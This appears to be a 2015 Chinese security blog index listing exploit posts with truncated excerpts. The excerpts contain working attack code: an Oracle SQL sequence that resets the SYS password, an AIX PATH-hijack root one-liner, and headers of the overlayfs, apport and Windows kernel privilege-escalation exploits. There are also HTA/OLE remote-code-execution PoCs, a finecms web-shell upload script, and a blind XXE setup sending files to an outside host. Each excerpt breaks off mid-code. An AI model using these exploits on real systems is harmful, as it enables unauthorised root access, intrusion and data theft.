发表于
2015-10-03 12:44:16
新贷p2p系统后台低权限读取文件(官网邮箱已沦陷)
发表于
2015-10-03 08:09:53
某通用教育系统任意文件上传+代码分析
发表于
2015-10-03 07:57:59
方维O2O商业系统SQL注入漏洞+XXE实体注入（demo验证）
发表于
2015-09-17 05:52:47
Oracle 9i/10g Oracle越权修改SYS密码
exp地址https://www.exploit-db.com/exploits/4203/首先用一个低权限账户比如DBSNMP登录Oracle然后执行SQLcreate or replace view bunkerview as
select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
update bunkerview set password='8A8F025737A9097A' where name='SYS';
drop view bunkerview;
commit;就可以用sys账户密码为oracle开开心心地登录Oracle了
...继续阅读
(19)
发表于
2015-09-09 01:25:56
IBM AIX High Availability Cluster Multiprocessing (HACMP) Local Privilege Escalation 0day
少见的AIX的权限提升IBM AIX High Availability Cluster Multiprocessing (HACMP) LPE to root 0day
Let's kill some more bugs today and force vendor improvement :)
"""
$ cat /tmp/su
#!/bin/sh
/bin/sh
$ chmod +x /tmp/su
$ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd
# /usr/bin/whoami
root
"""References:https://en.wikipedia.org/wiki/IBM_High_Availability_Cluster_Multiprocessinghttp://www-01.ibm.com/support/knowledgecenter/SSPHQG_6.1.0/com.ibm.hacmp.admngd/ha_admin_clpasswd.htm—Kristian Erik Hermansen (@h3rm4ns3c)https://www.linkedin.com/in/kristianhermansen—
...继续阅读
(39)
发表于
2015-09-09 01:21:16
MS SQL Server 2000/2005 SQLNS.SQLNamespace COM Object Refresh() Unhandled Pointer Exploit
详情参见https://www.exploit-db.com/docs/38033.pdf<%
Function Padding(intLen)
Dim strRet, intSize
intSize = intLen/2 - 1
For I = 0 To intSize Step 1
strRet = strRet & unescape("%u4141")
Next
Padding = strRet
End Function
Function PackDWORD(strPoint)
strTmp = replace(strPoint, "0x", "")
PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 5, 2) & Mid(strTmp, 7, 2))
PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 1, 2) & Mid(strTmp, 3, 2))
End Function
Function PackList(arrList)
For Each Item In arrList
PackList = PackList & PackDWORD(Item)
Next
E
...继续阅读
(20)
发表于
2015-09-08 12:31:05
hdwiki gbk注入
在control/pic.php文件中，doseach方法中function dosearch(){
$num = 16;
$page=isset($this->get[3])? intval($this->get[3]) :'';
if(empty($page) || !is_numeric($page)){
$page=1;
……
$searchtext=isset($this->post['searchtext'])?$this->post['searchtext']:string::haddslashes(urldecode($this->get[2]),1);
$searchtext= string::hiconv(trim($searchtext));
if(empty($searchtext)){
$this->message($this->view->lang['pic_no_title'],'BACK',0);
}
$start_limit = ($page - 1) * $num;
$cou
...继续阅读
(27)
发表于
2015-08-26 03:16:54
Windows 2k3 SP2 – TCP/IP IOCTL Privilege Escalation (MS14-070)
发表于
2015-08-26 01:51:14
Microsoft Windows HTA Remote Code Execution
#!/usr/bin/php
<?php
# Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
# Tested on Windows 7 / Server 2008
#
#
# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
#
#
# MS14-064
#
#
# 1 . run php code : php hta.php
# 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
# 3 . open poc.hta
# 4 . Your Link Download/Execute on your target
# 5 .
...继续阅读
(40)
发表于
2015-08-26 00:40:37
CmsTop媒体版中某处sql注入漏洞
发表于
2015-08-17 02:21:32
Discuz全版本存储型DOM XSS（可打管理员）附Discuz官方开发4大坑&验证脚本
发表于
2015-08-17 02:09:35
ThinkSAAS最新版漏洞打包
发表于
2015-08-17 01:50:39
ThinkSAAS SQL注入
发表于
2015-08-17 01:41:38
FIneCMS免费版无条件getshell
路径：dayrui/libraries/Chart/ofc_upload_image.php$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination;
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);无任何限制，可以直接上传。。poc:#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = '1c3z'
import urllib2
import random
fileName = "shell" + str(random.randrange(1000,9999)) + ".php"
target = "http://v1.finecms.net/dayrui/lib
...继续阅读
(93)
发表于
2015-08-17 01:23:57
齐博多个系统SQL注入
发表于
2015-07-24 05:42:49
大汉政府信息公开多处SQL注入
发表于
2015-07-24 05:21:50
大汉网络0day通杀所有系统和版本
发表于
2015-07-24 00:37:55
qibo通杀csrf+存储xss+分析明文账号密码进后台+成功getshell
发表于
2015-07-15 16:13:05
齐博分类系统远程代码执行漏洞
发表于
2015-07-05 15:40:10
Havij OLE Automation Array Remote Code Execution
#!/usr/bin/phpphp
# Title : Havij OLE Automation Array Remote Code Execution
# Affected Versions: All Version
# Founder : ITSecTeam
# Tested on Windows 7 / Server 2008
#
#
# Author : Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
#
#
# OleAut32.dll Exploit MS14-064 CVE2014-6332
#
#
# 1 . run php code : php havij.php
# 2 . open "Havij" and Enter your e
...继续阅读
(52)
发表于
2015-07-04 15:09:43
天天团购最新版本Blind SQL Injection
include\driver\database\mysql_max.php(308)://pack_where函数负责组装sql查询语句where条件部分private function pack_where($dbo)
{
if ( ! $dbo->_where ) return '';
$sql_where = ' wHERe ';
$sql_where_add = '';
foreach ( $dbo->_where as $where )
{
if ( is_array($where) )
{
foreach ( $where as $key => $val )
{
$kvs = '';
if ( is_numeric($val) )
{
$kvs = '`'.$key.'`' . '=' . $val;
}
elseif ( is_string($val) )
{
$kvs = '`'.$key.'`' . '="' . $val . '
...继续阅读
(34)
发表于
2015-07-04 14:36:22
PHPCMS某处设计缺陷可致authkey泄露
swfupload上传页面输出了 MD5(auth_key+sess_id), phpcms\modules\attachment\functions\global.func.php:initupload函数function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){
$grouplist = getcache('grouplist','member');
if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;
extract(getswfinit($args));
$siteid = param::get_cookie('siteid');
$site_setting = get_site_setting($siteid);
$file_size_limit = $site_setting['upload_maxsize'];
$sess_id = SYS_TIME;
$admin_url = pc_bas
...继续阅读
(38)
发表于
2015-06-18 00:38:30
discuz! 5.5 + discuz! 6.0 sql注入漏洞
漏洞文件：memcp.phpelseif($action == 'buddylist') {
if(!submitcheck('buddysubmit', 1)) {
$query = $db->query("SELECT b.*, m.username FROM {$tablepre}buddys b, {$tablepre}members m
WHERE b.uid='$discuz_uid' AND m.uid=b.buddyid ORDER BY dateline DESC");
while($buddy = $db->fetch_array($query)) {
$buddy['dateline'] = gmdate("$dateformat $timeformat", $buddy['dateline'] + $timeoffset * 3600);
$buddylist[] = $buddy;
}
include template('memcp_misc');
...继续阅读
(239)
发表于
2015-06-17 01:13:37
Ubuntu 12.04, 14.04, 14.10, 15.04 – overlayfs Local Root
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86
...继续阅读
(23)
发表于
2015-06-14 18:54:59
IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#!/usr/bin/python
import BaseHTTPServer, socket
##
# IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
#
# Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
# if you able to exploit IE then you can exploit appscan and acunetix ;)
# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
#
...继续阅读
(277)
发表于
2015-06-14 18:51:23
Microsoft Windows – Local Privilege Escalation (MS15-010)
// ex.cpp
/*
Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
CVE-2015-0003
March 2015 (Public Release: May 24, 2015)
Tested on:
x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
x64: Win 2k8 SP1 | Win 2k8 R2 SP1
Author: Skylake - skylakemailcom
*/
#include "ex.h"
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
_PsReferencePrimaryToken PsReferencePrimaryToken;
DWORD Pid;
ATOM atom;
BOOL KrnlMode, bSpawned;
DWORD_PTR WINAPI pti()
{
#ifdef _M_X64
LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
return ( DWORD_PTR ) *( ( PDWORD_PT
...继续阅读
(58)
发表于
2015-06-14 18:47:48
Apport/Ubuntu – Local Root Race Condition
/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions
ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04
core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d
...继续阅读
(30)
发表于
2015-06-09 02:04:56
DayuCMS 1.526和DirCMS 前台任意代码执行分析以及POC
发表于
2015-06-09 01:51:59
maxcms 电影CMS 注入
漏洞文件/inc/ajax.asp 33-40 行Sub getscore(ac)
dim id,ary,ret : id=getForm("id","get")
if isNul(id) then die "err"
if ac="newsscore" then
ary=conn.db("SELECT m_digg,m_tread,m_score FROM {pre}news WHERE m_id="&id;,"array")
else
ary=conn.db("SELECT m_digg,m_tread,m_score FROM {pre}data WHERE m_id="&id;,"array")
end if这里看下 isNul 函数是做什么判断，inc/CommonFun.asp 191-193Function isNul(str)
if isnull(str) or str="" then isNul=true else isNul=false
End Function这里只是简单的判断是不是空，不是空就可以了
...继续阅读
(24)
发表于
2015-06-09 01:49:05
Z-BLOG Blind-XXE造成任意文件读取
下载最新版Z-Blog：http://bbs.zblogcn.com/thread-88670-1-1.html/zb_system/xml-rpc/index.php 641行：$zbp->Load();
Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError');
$xmlstring = file_get_contents( 'php://input' );
//Logs($xmlstring);
$xml = simplexml_load_string($xmlstring);可见，这里直接调用simple_load_string解析XML，造成了一个XML实体注入。但观察后面的代码发现，需要用户、密码才能执行一些操作，得到回显，否则会报错。没有回显的情况下，我们怎么来利用XXE，这里就说到一个blind xxe，在这篇文章都有详细的说明：http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html所以原理什么的我就不细说了，实际上我也是一知半解。主要看利用方法。先在我主机上放一个接收文件的php（http://mhz.pw/xxe/get.php）：php
file_put_contents('01.txt', $_GET['x
...继续阅读
(34)